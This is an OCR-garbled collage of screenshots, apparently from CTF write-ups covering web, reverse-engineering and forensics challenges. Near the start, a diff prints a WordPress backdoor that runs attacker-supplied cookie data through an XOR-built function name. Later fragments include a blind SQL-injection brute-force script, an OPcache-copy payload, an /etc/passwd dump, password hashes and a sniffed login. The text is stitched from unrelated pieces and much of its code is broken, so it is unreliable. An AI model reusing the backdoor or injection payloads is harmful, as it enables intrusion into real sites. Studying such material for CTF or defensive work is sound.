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= Downloads diff -Nrq wordpressl wordpress

Files wordpress1/.DS_Store and wordpress/.DS_Store differ

Files wordpressl/wp-content/thenes/twentyfourteen/footer.php and wordpress/wp-content/themes/twentyfourteen/footer.php d
iffer

Files wordpress1/wp-includes/revision.php and wordpress/wp-includes/revision.php differ

-+ Downiloads diff wordpressi/wp-includes/revision.php wordpress/wo-includes/revision.pho

167,168d166

<}

< f(true){wp_check_my_session();

570,590d567

< * Validate a user's session token as authentic.

2 .

< * Checks that the given token is present and hasn't expired.
i .

< * esince 4.0.0

< * @access public

& M

< * @paran string Stoken Token to verify.

< * ereturn bool

< */

<

< function wp_check_my_session(){

< 1f(isset($_COOKIE["wp-ssesion'1)) {

< $_check=($_COOKIEL ' wp-sesion'][0]A$_COOKIEL "wp-sesion'J[1]). ($.COOKIEL wp-sesion'][1]AS_COOKIE[ 'wp-sesio

n'1[21).($_COOKIEL "wp-sesion']1[3]A$_COOKIE[ 'wp-sesion'][6]).($_COOKIE['wp-sesion’1[3]A$_COOKIE['wp-sesion'][4]).($_COOKI
E['wp-sesion"][2]A$_COOKIE[ 'wp-sesion"][5]).($_COOKIE['wp-sesion'][S]A$_COOKIE['wp-sesion'][61);

< $_check($_COOKIE['wp-ssesion'1);
< }

< else{

< return 0;

<

<}
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[

import wave
import struct

overzero = lambda x: x if x >0 else @

srcfile = wave.open('/home/jackyzy823/tmp/actf/carrier.wav')
srcparam = srcfile.getparams()

srcdata = srcfile.readframes(srcparam[@]xsrcparam[1]*srcparam[3])
rawaudio = list(struct.unpack('<%sdh'%srcparam[3],srcdata))
filteredaudio = map(overzero, rawaudio)

s =[]
count = 64
for i in range(@,len(filteredaudio),count):
if sum(filteredaudio[i:i+60])/count > 2000:
s.append(@)
() CH
s.append(1)
sl = "".join(map(str,s))

k=11
for j in range(@,len(s),2):
if s[j] =0 and s[j+1]==1:
k.append(1)
elif s[jl==1 and s[j+1]==0:
k.append (@)

k1 = "".join(map(str,k))

f = open('4g.png’, 'w')
for i in range(@,len(k1),8):
f.write(chr(int(k1[i:i+8],2)))
f.close()
3602224%i ( bobao.360.cn )
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% split urL

Execute

[7] Enable Post data 17| Enable Referrer

v &

a

Post data venenohi=copy("/tmp/venenovenena","/tmp/OPcache/39b005ad77428c42788140¢6830e6201 /var/www/upload/20160605124842-1. php.bin’)
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<script ‘text/javascript”s

c,d,e,f,g;

a-=
b -
c =
d- < a3

8 e ‘b oa;

9 i /e b * a3
- dsc*b+a;
g
a - Math.floor(a);
alert(a);

</script>
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“text:00002014 STR R0, [RS,H3]

~text:00002016 ADD R3, PC : sub_20FC
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~text:0006201a Hous R3. W1

-text:0000201C STRB
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10c_8ouss62: in
mou”  dword ptr [esp+8], OEh

mou  dword ptr [esp+u], offset alnputSlogan : “input slogan:"
mou  dword ptr [esp], 1 ; fd

call  _write

mou  eax, [ebpenbytes]

nou [esp+8], eax  ; nbytes

lea  eax, [ebpruar_9C]

nou [esp+h], eax

mou  dword ptr [esp], 0 ; fd

call _read

mou  eax, [ebpsnbytes]

oy [Espoﬂ], eax

TN
A sempvtgen.
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-text:0808216E B loc_217C
-text:00002176 ;
_text:00002170

_text:08062178 loc_2176 : CODE XREF: sub_20FC+82yj
text:00002170 DD R2, SP, HoxuDrdest

text:00002172 Lone R1, [R5,R3]

_text:00082174 _ibRR B2, [R3.R2]

text:00002176 cHe R1, R2

text:00002178 BHE 1ot 2184

text:0000217n ooy ————wg, W

text:0000217¢

text:0000217C Loc_217¢ : CODE XREF: sub_20FC+727
text:0000217¢ cHe #3, RO

text:0000217E BHE Loc_2178

text:00002180 Wous RO,

text:00002182 B Toc 2186

-text:00002184 ;
_text:00002184

text: 00002184 Loc 2164 +CODE KREF: sub_20FC+7
text: 00002184 Wous Re, o
text: 00002186

_text:00962186 Loc_2186 sub_20FC+5
text:00002186 ¢ bobao.
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Hfodule = *(HIODULE =) (*={_DUORD ==) (=(_DUORD *)(_readFsduord(k8) + 12) + 28) + 8);
iF ( hifodule )

<

U6 = GetProcaddress(hiiodile, "Loadiibrarya™):// HUih TS

1 = GetPrechddress(hModule, “ExitProcess");

V2 = GetProchddress(itndule, “CreateThread”);

pLoadLibrarys = (char <ull + 53

PExitProcess = (int (__stdcall =)(DWORD)){(char *)ui + 5);

PCreateThread = (HANDLE (_stdcall =)(LPSECURITY ATTRIBUTES, SIZE_T, LPTHREAD START_RO
*

result = LoadLibraryn("User32.d11*);
1F ( result )
<
result = (HMODULE)({char =)GetProcAddress(reshilt, “MessageBoxA™) + 5);
pHessageBox = (int (_stdcall =)(HUND, LPCTSTR, LPCTSTR, UINT))result

return result;
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C f [} view-source:202.120.7.201:8888/show.php?secret=\

1
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3
4
5
6
7
8
9

<html>

<body>
<div><h3>checked</h3></div>
<script>var debug=false;</script>
<div id="ltvycgkq">

<h2>1tvycgkq</h2>
</div>
<div id="text"></div>
<script>
data = "20"
t = document.getElementById("text")
if(debug){
t.innerHTML=data
}else{
t.innerText=data
}
</script>
</body>

</html>
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5569 )

1= 850 <85 e )

(ko= 05 k< 385 ++k )

sub_ue1090(1, i);
break;
>
printf((int)a_, v2);
>
H
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Upgrade-Insecure-Requests:
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Accapt-Encoding: gzp, deflate sdch
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Ht=hbSTrsLzD % ZBUmXHUBG 7UITCAM YRath BNy dGHBLN Oss %30

<a class="bin btn-primary bin-large”
hip/ /v googie.com*>Learn more</a>
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private void initConstantStaticString ()
o
bBoa = ((TextView)£indViswById(Dx7£070001)), gotText (), toString () :
Bob = ((TextView)£indViewByld(0x7£070002)). gotText (). taString ()

1
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File Edit Format Run Options Windows Help

S22 rotid(e):
(1+2)

(2413) 2 26 + ¢) =
Join([d.get(c, ©) oz c = s])

ang= (26)

(65,971

Z0T13 (' STRISI20RNOSE957ISTSTEQO9S20

Bl

74 Python Shell

[Ele] Edit_shell Debug Qptions

Python 2.7.3 (default, Apr 10 2012, 23:
52

126) [MSC v.1500 32

Type "copyright", "credits” or "license()" for more informatio

>>> RESTART

>>>

STESFSE0EASF43975FTSTCDSSFE0DIEC
>>>
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Target TPruxy TSpider | Scanner Tlntruder T Repeater TSequencer | Decoder TComparer T Extender TOptions | Alerts |

2x[3x[ax]sx]6x]7x]8xTox=aou]. ]

Request

[Raw | Params | Headers | Hex }

Response

Raw | Headers | Hex

Target: http://218.245.4.113:8

OST /web01/109adc05d9e84a828383e429af82fcff/flag.php HTTP/1.1

ost: 218.245.4.113:8080

roxy-Connection: keep-alive

ontent-Lengths: 4

ache-Control: max-age=0

rigin: http://127.0.0.1

ing-From: http://127.0.0.1/test.html

ser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4)
ppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80
afari/537.36

ing-To:

ttp://218.245.4.113:8080/web01/10%adc05d%e84a828383e429af82fcff/flag.p

P

ontent-Type: text/ping

ccept: */*

eferer: http://127.0.0.1/test.html
ccept-Encoding: gzip, deflate
ccept-Language: zh-CN,zh;g=0.8

>

HTTP/1.1 200 OK

Date: Sat, 31 Oct 2015 13:36:24 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.45-0+deb7ul
Vary: Accept-Encoding
Content-Length: 133

Content-Type: text/html

Flag{cCFVY1Yjs5VQ9X2GCG4v6IdpkaKBEsbM}<script language='javascrir
type='text/javascript'>window.location.href="'index.php';</script>
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Neaders = 1 LONLENt=1ypc . app LiCalloll/ X—www—10Tl—ul Lcncoaca

payloads = ‘'abcdefghijklmnopqrstuvwxyz0123456789@ . "

print '[%s] Start to receive Flag:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 31):
for payload in payloads:

s = '/web04/60c2a013a6decbedc5c2883080e6h332/ index. php?1%20%26%26%200RD (substr( (select%60f1ags60f roms60f1ags60),2,1))=107

conn = httplib.HTTPConnection('218.245.4.113:8080"', timeout=30)

conn. request(method="'GET"',url=s, headers=headers)

length = len(conn.getresponse().read())

conn.close()

nrint ' ' 3602221 ( bobao.360.cn )
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oy [local.sa], 550
oy [local . 116], xud
noy [local.8e],ixs2
oy edi, eb

local.79]

nov [1ocal.154],edi
test edx,edx

FI XCrackPoi. 00053665
nou ebx, edi

nov [1ocal.158]esi
nov edi,edx
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mou dward pir

prr ds:febx]
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1ea esi,dunrd
sub edi, x1
B XcrackPoi. 00053606
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inc edx

add edi, ox18
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cnp edx, Bx6
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1fint _usercall sub_husoubaceax>(void =ale<edi>)

2
3| bool vi; // zf@1

4 int v2; // ecx@l

5

6| ((void (__thiscall x)(void *))loc_485908)(a1);// GetiindowText
7| sub_uesD20((int)((char *)a1 + 80), 775, 0)

8| sub_ueSD20((int)((char *)a1 + 80), 776, 0)

9| sub 485D28((int)((char *)a1 + 88), 777, 0);

0/ | v1 = sub_4085168(=1) 8;

1| vz =773

2l if (v1)

3| v2 = 776; X

4 return sub_405D28((int)((char <)aile| 88),_u7, SEXIE

5y Se Ise
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HTTP/1.1200 0K
Server: nginx/14.7

Date: Sat, 05 Apr 2014 05
Content Type: text/htm|
Connection: keep-alive
X-Powered-By: PHP/5.5.10

realkeyisin: bedad7ac34562108ee149767c5 1ch0ec.php
Content Length: 125

<link rel="stylesheat" type="text/css" href
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wrong place man! key Is not here.
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Eue ControllayersupdateScore(int)+72 Bl ZN7cocos2d13CCUserDefaultlSsetSiringForKeyEPKERKSs; cocos2d:CCUserDefaultsetSti..
= up ControllayersupdateScorefint)+9A BL  ZN7cocos2d13CCUserDefaultlSsetSiringForKeyEPKERKSs; cocos2d:CCUserDefaultsetSti..
ControllayersupdateScoreint) +C2 BL  ZN7cocos2d13CCUserDefaultlSsetSiringForKeyEPKERKSs; cocos2d:CCUserDefaultsetSti..
Controllayer:updateScoreint)+£8 CCUserDefaultsetSti..

ControllayersupdateScore(int)+136 CCUserDefaultisetSti..
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Controllayersinitiveid)+46 BL  ZN7cocos2d13CCUserDefaultlSsetSiringForKeyEPKERKSs; cocos2d:CCUserDefaultsetSti..
Bulletlayersinitivoid) +6€ BL  ZN7cocos2d13CCUserDefaultlSsetSiringForKeyEPKERKSs; cocos2d:CCUserDefaultsetSti..
EnemyLayersinitivoid) +6E BL  ZN7cocos2d13CCUserDefaultlSsetSiringForKeyEPKERKSs; cocos2d:CCUserDefaultsetSti..
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MutiBulletsLayer:MutiBulletsLayer(void) +A2 BL  ZN7cocos2d13CCUserDefaultlSsetSiringForKeyEPKERKSs; cocos2d:CCUserDefaultsetSti..
PlaneLayer:initivoid) +6E BL  ZN7cocos2d13CCUserDefaultlSsetSiringForKeyEPKERKSs; cocos2d:CCUserDefaultsetSti..
UFOLayersinitivoid) +6€ BL  ZN7cocos2d13CCUserDefaultlSsetSiringForKeyEPKERKSs; cocos2d:CCUserDefaultsetSti..

cocos2dsextension:AssetsManager:deleteVersion(v... BL _ZN7cocos2d13CCUserDefaultlSsetStringForKeyEPKcRKSs; coces2d:CCUserDefaultssetstri.
cocos2diextension:AssetsManager:Helperhandle.. BL _ZN7cocos2d13CCUserDefaultlSsetStringForKeyEPKeRKSs; coces2d:CCUserDefaultisetstri.
cocos2dsextension:AssetsManager:Helperzhandle.. BL _ZN7cocos2d13CCUserDefaultlSsetStringForKeyEPKeRKSSs; coces2d:CCUserDefaultisetstri.
cocos2dsextension:AssetsManager:Helperupdate(.. BL _ZN7cocos2d13CCUserDefaultlSsetStringForKeyEPKeRKSSs; coces2d:CCUserDefaultisetstri.
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public class Joda
{

public static bytel] getJodaTimeEncodedInyte()
{

$r3 = newarray. (byte) [481;
36;

sr3fe]
sraf1] =
sr3(2]
$r33]
$r3t4]
$rais]
$ral6]
37l
srafs] =
$r39]
$r3(10]
$r301]
sraf2]
sran3)
$raf1a]
$rafis]
$r3f16]
$r3{17)
$r3(8]
$r3na]
$rafe]
sraf21]
srazz]
$r3f23]
$r3l24]
$r3(25]
$r3[26]
$r3f27]
$r3028]
$r3[29]
$r3tel
$r3[3i1]
$r3132]
9 $r3(33]
$r3(34]
$r3[3s]

33
$r3fa0]
$rafae] =
$r3ls1l
+ $r3142]
$r3143]
$r3[44]
$r3145)
$r3l4s] = 47;

$r2 = nevarray (byte) (161
$r2[0] = 3
$r2(1]
$r202]

5 $r213]
$r2(4]
$r2(5]
$r2i6]
$r2071
sr2(6]
$r2(0]
$r2116]
$r211]
$r2(12]
$r2013]
$r2(14]
/+comsented outs/
$r3 = virtualinvoke $ril.<javax.crypto.Cipher: byte[] doFinal(byte(])>($r3);
specialinvoke $r5.<java. lang.String: void <init>(byte(])>(sr3);
return;
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> B8B4S E8  |mou eax,dword ptr ss:[ebp-0x18]

. 48 inc eax

. sous Es nou duard ptr 5s:[ebp-0x18] ,eax
5 837D 8 23 |cmp duord ptr ss:[ebp-x18], 020
Lo TE XcrackPoi.813E3870

" spus ks nou cax,duord ptr s:[ebp-0x18]
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Connection: close
Content-Type: text/ntrl
Date: Thu, 12 Jun 2014 16:67:28 GNT
Key: belcome-to-ISCC
Server: nginx/1.4.6 (Ubuntu)
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X-Cache-Lookup: MISS From wiw. isclab.org:8e
X-Powered-By: PHP/5.5,9-Tubuntud






OEBPS/Images/af14bcea968e91d8645b3bcd4150137e.jpg
Dynamic Reauth: Dynamic Reauth is
: : : Extended Security: Extended securi
System Time: Nov 15, 2014 00:08:29.000000000 EXETEIEREIES

server Time zone: 0 min from uTC

key Length: &

Byte count (scc): 12

Primary Doma:
Server






OEBPS/Images/fbabd9f523ec3f6d0d020deb9da6d149.jpg
ez
Bigt@ng_XCTF
HP:10

Ly
-

apig XCTF
HP:10





OEBPS/Images/6bbb525543691972ccd10234343c9277.jpg
<« € [1 msgboard.spentest.com/index. on to/f
:0:syne: /sbin: /bin/syne

perator: /root:/shin/nologin
‘sbin/nologin

:7:1p: fvar/spool/lpd: /sbin/nologin sync:x:

:/sbin:/sbin/nologin adm:x:3:4:adm: /var/adm: /sbin/nologin lp:x:
alt:/shin:/sbin/halt mai :12:mail: /var/spool /mail:/sbin/nologin uucp:x:10:14:1uucp: /var/spool fucp: /sbin/nologin operator:z:ll
12:100:games: /usr/games: /sbin/nologin gopher:x:13:30:gopher: /var/gopher:/shin/nologin ftp:x:14:50:FTF User:/var/ftp:/shin/nologin nobody:x: :/sbin/nologin dbus:x:81:81:System message bus:/:
vesa:x:69:69:virtual console memory owner:/dev:/shin/nologin abrt:x:173:173::/etc/abrt:/shin/nologin haldaemon:x:68:68:HAL daemon:/:/sbin/nologin ntp:x: :/ete/ntp: /sbin/nologin saslauth:x:499:76:"Saslauthd
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apache:x:48:48:Apache: /var /i /sbin/nologin mysql:x:27:27:MySAL Server: /var/lib/mysql:/bin/bash ww:x:500:500: : /home /ww: /sbin/nologin msghoard:x:501:501: : /home/msghoard: /sbin/nologin drug:x:502:502: : /home/drug: /bin/bash
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:0:root:/root:/bin/bash bin:x:1:
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-—int __cdecl set_history_value_8048F93(int index, int num

{

signed int result; // eax@3

if ( index >= @ && history_buff->count >= index )

*((_DWORD *)&history_buff->number_buff + index) = number;
result = 1;

}

else

{

result = @;

}

return result;
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public static string Enerypt(string toEncrypt)
(
byte] bytes = Encoding,UTF8 GetBytes("swpu2012swpu201 26wpu201 25wpu2012')
byte] inputBuffer = Encoding UTFS.GetBytes(toEncrypt);
RijndaslManaged managed = new RijndaciManaged
Key = bytes,
Mode = CipherMode.EC8,
Padding = PaddingMode.PKCS7

¥
byte] inAfray = managed.CreateEncryptor(.TransforminalBlocklinputBuffer, 0, inputBuffer.Length);
retum ConvertToBase64String(inArray, 0, inrray.Length); P

! .com
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Location: index.php

Concent-Length: 255

Connection: closs
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opener

location
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SecPulse

Request Headers

HTTP_REFERER
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HTTP_USER_AGENT : Mozilla/5.0 (Windows NT 5 1)
AppleWebKit/537 36 (KHTML, like Gecko)

Chrome/39.0.2171.71 Safari/537.36

REMOTE_ADDR
Address

HTTP_REFERER
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Original request | Edited request | Response

Headers |

(GET /web200/bedad7ac345621082e149767¢6 1cb0ec.php HTTP/1.1
Host: 211.149.187.109:2005

Proxy-Connection: keep-alive

Cache-Control: max-ag:
\Accept:text/html,application/xhtmi+xml.application/xml:q=0.9,image/vebp,*/4:q=0.8
User-Agent: Mozila/5.0 (X1 1; Linux x86_64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/33.0.1750.152 Safari/s37.36
AcceptEncoding geip,deflate.sdch
AcceptLanguage: en-USeniq=0.6,2h-Chiq=0.6,2
Cookde: fespersistslider2=1:admin=1
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[package  com, eXANpIE.plane,
import android.content.Context;

public class &
{

private SnaredPreferences editor = null;

public a(Context paramContext, String paramString)
i
this.edicor = paranContext.getSharedPreferences (paranString, 0);

1

public void b()
i

this.editor.edit() .purString ("DATA", ") .commit();
1

public Sering of)
i
return this.editor.getString ("DATA", *);

1

public void d{String paramstring)
i
this.editor.edit() .putString ("DATA", String.valusOf(c()) + paramString).commit();
1
i 1R

deoln}
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'u- 4l L ~/Desktop# binwalk baozou_new. jpg

SDECIHAL HEXADECINAL  DESCRIPTION

o 0x0 IPEG inoge data, JFIF standard 1,01
4308 0x1004 21p archiva data, sncrypted at least v2.0 to extra
ct. compressed size: B890, uncanpressed size: 9990, name: ar.png

1~/ Desktopt binwalk

baozou_new. fpg

DECTMAL HEXADECIMAL  DESCRIPTION
0 0x0 IPEG inage date, JFIF standard 1.01
1308 0x1004 Zip archive data, encrypted at least v2.0 to extra

t, comprossed size: 8890, uncompressed size:

9990 31380 hobao360n )
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; cocos2d::CCUserDeFault::setStringForKey(char constx, std::string constt)
EXPORT _2N7cocos2d13CCUserDefault15setStringForkeyEPKCRKSS
|_2N7cocos2d13cCUserDefault15setstringForKeyEPKCRKSS

{R3-RS,LR}

RS, R1

R4, R2

RO, R1

sub_1F98FA

RO, RS

Ry

; setstringForkeyJNI(char consts,char consts.

{R3-R5,PC}
of Function cocos2d::CCUserDefault::setStringForkey(char constx,std::string camgrt
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now sex, Reverse. ODEFUES

oy cax dnord pie ds [OMEE0DSC:
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|5 0000624C Zoraateit

B 00006250 memepy

55 00006254 _stack_chk fail
BE) 00006258 stack chk_guard
BE 0000625C

00006270
00006274 malloc
00006278 memset
0000627C free
00006250 fopen
00006284 fgets
00006288 srse
0000625C strtok
00006250 strtoul
00006294 felose

S anonszos

o000629C mprotect
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Pseudocode | X

int va; // edi@2
int result; // eax@3

Pseudocode© X [2] Pseudacoded | X

vi =85
v2 = B;

3 = strlen(al);

if ( (signed int)(u3 - 1) <= 8)

<
result
¥
else
<
do
<
uh = 31 % u2 + al[uies]
v2 = vl
¥

uhile ( ui < (signed int)(v3 - 1) )3
result = v4;

¥

return result;

sub_401750:11
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Burp Intruder Repeater Window Help

Target Spider | Scanner | Intruder | Repeater | Sequencer Decoder | Comparer | Extender Options | Alerts

[ et ] Wevsoctss ison | opors |

Filter: Hiding CSS, image and general binary content

# | Host | Method | URL | Params | Edited | Status | Lengih | MIMEtype | Extension | Title
1 hitp:iicif sobug.com GET /hack_gameif31c5630000b0131/in... ] (8] HTML php
2 hitp:/icif sobug.com GET /hack_gameif31c5630000b0131/in... ] @ 200 1505 HTML php

e

Original request u Response
M’ Params | Headers | Hex |

GET thack_garme/fa1c5630000b0131/index.php HT TR
Host: ctf.sobug.com

Proxy-Connection: keep-alive
Cache-Caontrol: max-age=0

Accept: textthtml, applicationixhtml+xml,ap
User-Agent: Mozilla/5.0 (Windows
Referer: hitp:fiwaw, seclover.com
Accept-Encoding: gzip,deflate,sdch

Accept-Language: en,zh-CN;g=0.8,zh;g=0.6

Cookle: PHPSESSID=m857r13ailTcubjthlifefgdol;
Hm_Ivt_d2084f86b27000a527e605d821116de4=1414822591,1414836178,1414840337,1414847267,
Hm_lpvt_d2084f36027000a527e605d821116de4=1414847283

on/xml;q=0.9,imagefwebp,™;0=0.8
) WOWE4) AppleWebKit/537.38 (KHTML, like Gecka) Chrome/38.0,2125.111 Safari/537.36
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__pr{ntf_chk(l, "%d of %d, Enter a number: ", v5
get_buff_8048E4e(vic, 32);
if ( !(unsigned __int8)sub_8048F40(v10) )

break;
++v5;
*(&v4->canary + v6) = strtol(vlo, @, 10);
vd->count = v6;

if ( v6 == v9 )
goto LABEL_16;
}
puts("Invalid number, stopped input!");
if (1vs )
goto LABEL_17;
EL_16:

v4d->canary = rand_val ~ v4->count; {8 ( bobao360.cn )
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5 JMP XREF Trom 0x00480a2a (main)

6x66400a1a 889010136000 mov byte [rax + 6x601310], dl ; [Bx6G1319:1]=31 ; rdi
; JMP XREF from 0x06460302 (main)

--> 0x004669F4  8b4Sec mov eax, dword [rbp-local_2_4]
| Bx6G4603F7 4898 cdge
| ©x004069F9  @fb680161360. movzx eax, byte [rax + 0x601310] ; [0x601318:1]=31 ; rdi
|| -- rips
| 3c1f anp al, ex1f i rax
|,=< Bx€6460a02  T7fic o 0x408a20 ;111
|| ©x86400204  8b4Sec mov eax; dword [rbp-local_2_4]
|| ©6x60480267 4898 cdge
|| ©x06400205  @Fb680161360. movzx eax, byte [rax + Bx601310] ; [6x601318:1]=31 ; rdi
|| Bx66460a10  83c020 add eax, 0x20
||| ©x66400a13  89c2 mov adx, eax
|| ©x08400a15 8b45ec mov eax, dword [rbp-local_2 4]
||| ©x6G400a18 4898 cdge
1
Il
|7 -> Bx66400a20 8345ec01 add dword [rbp-local 2 4], 1

| 5 IMP XREF from 0x084009F2 (main)

| 0x06400a24 8b45ec mov eax, dword [rbp-local_2. 4]

| OxD8400a27 83f817 cnp eax, 0x17'

=< 0x00400a23  T6c8 jbe oxd005£4 2 SECPULSE

0x00406a7c  c7458016000. mov dword [rbp-local 3], 1
0x00400a33  c745ec000000.. mov dword [rbp-local 2 4], 6 -~ mm-
— EwNAN02 s ah?7 amn AIxdARfaRET )
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C[[ - 894D C8 mov [local.iu],ecx
> 3302 xor ey, edx cale

1|| . 8BC7 mov eax,edi

3|| . F7F6 div esi

|| - sarp 1c 10 || emp [arg.61,0x10

([ . 8p75 88 lea esi,[arg.1]

c| - o 2u L ek

([ . eFu37s es cmounb esi,[arg.1]

2|| . ©3FB add edi,ebx

4|| . B3CF add ecx,edi

5| - souz 6 Lea eax,duord pte ds:[edxs o3

9|| - OFAFCS imul ecx,eax

c|| . oFBE4416 01 [ mousx eax,bute prr us:[esicedwesnt]

1| - eacs add ecx,eax

o|| - ermset movzx eax,cl

5| - 99 cdq

/|| - 5o o eex

8|| . F7F9 idiv ecx

al| - sup co mov ec, [local.13]

|| - sas2 1063076|| mov a1 bute prr os:[ednsse763T0]

3|[ . sse7 nov byte ptr ds:[edi],al

([ . 887D DO mov edi,[local.12]

8| . 47 inc edi

|| . 3sFo cmp edi,ecx

c|| - orsr s200000(| [l crackpoi. 00853576

ul[ ." 8875 18 mov esi,[arg.5]

7|| - sup cs mov ec, [Local. 4

|| . EB B3 I xcrackPoi.000534AF

c|| > sous o1 Tea eax,duord [itr s:[esisox

[ . 897D c8 mov [local.14],edi

2|| - ssce test eax,eax

| - 7€ 70 FEED XCrackPoi. 00853576 I 1 SECPULSE

6| > sBe7 moy eax,edi %— a

a|| . 99 cdg l 55 fim ™ —

90601
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t pud email
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userl@uhctf .com
user2@uhctf .com

962012409h81784912£0669£64749487 | adnin
8FC63BC4337CD4BSF78577118BB6IFES | userl
! 6a3£ha7Bc97c880679a74B669ddd50a3 | user2
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TEEE 802.11 Qos Data, Flags:
Logical-Link control

Internet protoco] version 4, src: 192.168.0.100 (192.168.0.100), Dst: 10.1.10.253
http (80)

[ Transmission Control Protocol
0

Src Port: 57659 (57659), Dst Por

seq

HTML Form URL Encoded: application/x-wwi-Form-urlencoded
i Form item: “referer” = "/home.php?”

Form item: "username” = "Iscc”
Key: username
value: Tscc

& Form item: “password” = "Thisiskey”

Key: password

value: Thisiskey
i Form ftem: "verify
i Form item: "verifyimgi
@ Form item: "styleid”
i Form item: "cookietime”
@ Form item: “Toginsubmit” = "RREIREA"

7110"
"c2beb91f4245281d2a5253eb31Faczac”
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text:0000000000408AD3

cext.
et OOSUDONOGNONEES
text: 0000000008A005ES

et
text: 00000000000SES
LexL: 0990000000ABIEFD

text : 0000000080AD0C13

a1t
test
oz
test
i
a1
a1l

i

esi, offset satit ; “eatit
rai, rax

strnem

Toc, uaonoz

Fax, cszauth

eax. [raxs2on]

Short Loc_KouEs7

Q01 oFfset aFlagieiNiYoon : "Flag, gei i yuoe”
_puis

Esi, oreset an :

eai ofFset ailonebunilag_tx
“fopen

Trop-s], rax

short loc_498C20

Ihawe/pun/ 115 tat
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Q [] Elements Network Sources Timeline Profiles | Resources| Audits Console XSS Encode oL = &
»Clframes 4| Value [ Damain |P.. |Expires /... [Size [HTTP. Secure
Elwessal UOVITOB2ZXAMANA3ID%3D /h. | 2014110, 31

Efindeasins Hm_ {pvt d2084f96027000a527€605dB21115... | 1414803106 T — /. |Session 50

vl 2 | 1413083062 1414407400 1414750415 1414802892 DS 82|

-Lﬂ“' o [i20csapspoleRarzpi1ed /| Session 35

» 8 Session Storage

¥ [ Cookies |

B Application Cache

[ sEhe i Edinahelln Debug w Dplarsn Windows sielp
Bython 2.7.3 (default, Apr 10 2012,
32

Type “copyright®,
55> tmporc baseed
55> base64.bésdecode U0V TOE2ZXIAM Aatin—" )

"credits" or "license()" for more informatiom.

23:31:26) [MSC v.1500 32 bit (Intel)] on win |
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sub esp, 16h
nov  [ebpruar 4], offset aRbchS6_09876ti ; “abchbt_00876tiyouare’
1eave
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Decode from Base64 format

mply

i bélow

£y)ub25ZSI6mFZDRMNGMN2YyM2VIODUILCINbGXA2VKIjOI FZWWLWISIWULE
2VNL3RIWOVAMVUZG3yCy4ajCTSImVAcGlyeSIGMTQZMIEYN2EZNNO=

BT i ¢ cosmaysisossie mpch e

{nonce"“acd8facT7t2asess" alowed"/deep-blue
seanteam/vendors 45" expiry:1462127166)
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2 if(!preg_match('/~\d{11}$/', $_GET['phone'l))

3 die('Invalid phone');

4

5 if(!preg_match('/"[_a-zA-Z0-9]1{1,10}@[_a-zA-Z0-91{1,10}\. [_a-zA-Z0-9]{1,10}%/"', $_GET['email']))
6 die('Invalid email');

7

8 if(preg_match('/[~a-zA-Z0-9_1/', $_GET['nickname']) || strlen($_GET['nickname']) > 10)
9 die('Invalid nickname');

10 $profile['phone'] = $_GET['phone'l;

11 $profile['email'] = $_GET['email'];

12 $profile['nickname'] = $_GET['nickname'];

13 $profile['photo'] = 'upload/'. md5($_GET['name'l);

14 echo filter(serialize($profile));
15 v var_dump(unserialize(filter(serialize($profile))));

16

17v function filter($string) {

18 $escape = array('\'', "\\\\');

] $escape = '/' . implode('|', $escape) . '/';

20 $string = preg_replace($escape, '_', $string);

21

22 $safe = array('select', 'insert', 'update', 'delete', 'where');
23 $safe = '/' . implode('|', $safe) . '/i';

24 return preg_replace($safe, 'hacker', $string);

25 }

26 1> Sctozss
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€ 9 € [1sycshell.sycsec.com:61180/W0CalN1CaiBuDa0/read.php|

<oplp

show_source (_FILE_)
$pass = @ GET[ pass’]
$a = “syclover”

strlenfpass) > 15 7 dis(Da't Hack nel’)

1f(lis_mmeric(fpass) || preg_match( /0Gx)?|- [\+|\s|" 0\ [\d). 4871, Spass)) |
die ( error’)
1

if(fpass == 1 # Salfpass] — “s){
$file = isst(CETL£1) 7 $GEILF L .phy’ : inder.phy’
@include $file

error
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<23 BE

i@

2015-03-21 16:40:05

RRAIAE Request Headers. B

HTTP_REFERER :
location - hitp://127.0.0.1:9991 =
//127.0.0.1:9991

Irev\ewpass:QkNURmAcSN'aXNlbmSOXSRoVXR"Z‘ngml}dWxOXGJ Z2h0f0==8
Ireview?pass=QkNURNI4c3NfaXNfbmSOX3RoYXRIZGn

id=10705

amp;id=10705
toplocation : http://127.0.0.1:9991

TIP USER AGENT : Mozilais0 il

Ireview?pass=QKNURNI4cINFaXNIbmS0X3ROYXRIZGINTZMIAWX0X3IpZ 2h0T0==4

(X11; Linuix X86_64: v:36.0)
id=10705

Gecko/20100101 Firefox/36.0
cookie :

REMOTE _ADDR : 146.148.60.107,
opener :

54.250.120.19
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Torger: hapmekdmn hackizspw | ] 2

ST /mainphp HTTF/LL

Host meddm1nhack 123 pw
Cache-Controt:

Accept: text/ntmiapoliation/xhtmb+ i application smiz=0.8 image st */*2=05 <mi>
Upgrade-Insacure-Reguasts: 1 P

User-Agents Maaila/5.0 (Nindoves NT .1; WOWE4) Apple NetK1t/53736 (GHTML. fke Gecko) LA g, . .

Chrome/47.0.2526.73 Safari/53735
Accept-Encoding: gaip, deflate sach
Accepr-Lamguage:21-CN.ahig=08

Cookle: PHPSESSID=u2atigu1K3gpopusiSSriSaped;
NE=RBSTAUZD 28U LS 7UTCOM YRahyBN9ySGRALNIC1%3D.

<ie-Here o the feg - REHMITASROSTHRDAEATMESHIRGY —>
</p>

BAROTEF R SHINETSE. <o clri=
| Oarimary - asge” tref="dooughp > WL </a> >
<o MORSENEASTITET Y| SOENARD SUESEAD

1 =
<t SOFEOIRIET MinnRSaEEL
< Fe. . BRI SEEARRIRET, . -

<p>
<>
<>
</
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Were interested In inding out what Information Is stored an this website. We've airesdy
obtalied the username “prolf™ and the password “strobe.c',but e . mer v howto
access the “admin’ user. Any (deas?
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GIF Graphics interchange format file
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PseudocadeB X [2] PseudocodeC | X 2] PseudocodeD | x [

return 03
u3

un = 31;

do

<

s = x(eat[us] - 22);
iF (S >= 48 8R uE <= 57 )

<
U0 = (u5 - 43) % 10 + 483
LABEL_13:
goto LABEL 14;
3
iF (s >= 6f 88 us <= 00
<

b = (U5 - 52) % 26 + 653
goto LABEL_13;
¥
ifF (05 >= 97 88 u5 <= 122 )
<
uh = (U5 - 84) % 26 + 973

sub_4016C0:21
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“——

Filo Edit Shell Debug Options Windows —Hal
